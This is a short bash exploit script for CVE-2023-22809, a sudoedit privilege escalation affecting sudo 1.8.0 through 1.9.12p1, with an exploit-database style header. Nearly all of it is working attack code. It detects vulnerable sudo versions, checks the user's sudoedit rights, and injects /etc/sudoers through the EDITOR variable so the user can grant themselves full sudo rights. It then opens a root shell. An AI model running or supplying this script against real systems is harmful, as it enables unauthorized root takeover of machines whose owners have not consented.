#!/usr/bin/env bash # Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation # Exploit Author: n3m1.sys # CVE: CVE-2023-22809 # Date: 2023/01/21 # Vendor Homepage: https://www.sudo.ws/ # Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz # Version: 1.8.0 to 1.9.12p1 # Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9 # # Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc # # Running this exploit on a vulnerable system allows a localiattacker to gain # a root shell on the machine. # # The exploit checks if the current user has privileges to run sudoedit or # sudo -e on a file as root. If so it will open the sudoers file for the # attacker to add a line to gain privileges on all the files and get a root # shell. if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$' then echo "> Currently installed sudo version is not vulnerable" exit 1 fi EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-) if [ -z "$EXPLOITABLE" ]; then echo "> It doesn't seem that this user can run sudoedit as root" read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 else echo "> BINGO! User exploitable" echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" echo "$( whoami ) ALL=(ALL:ALL) ALL" read -n 1 -s -r -p "Press any key to continue..." EDITOR="vim -- /etc/sudoers" $EXPLOITABLE sudo su root exit 0 fi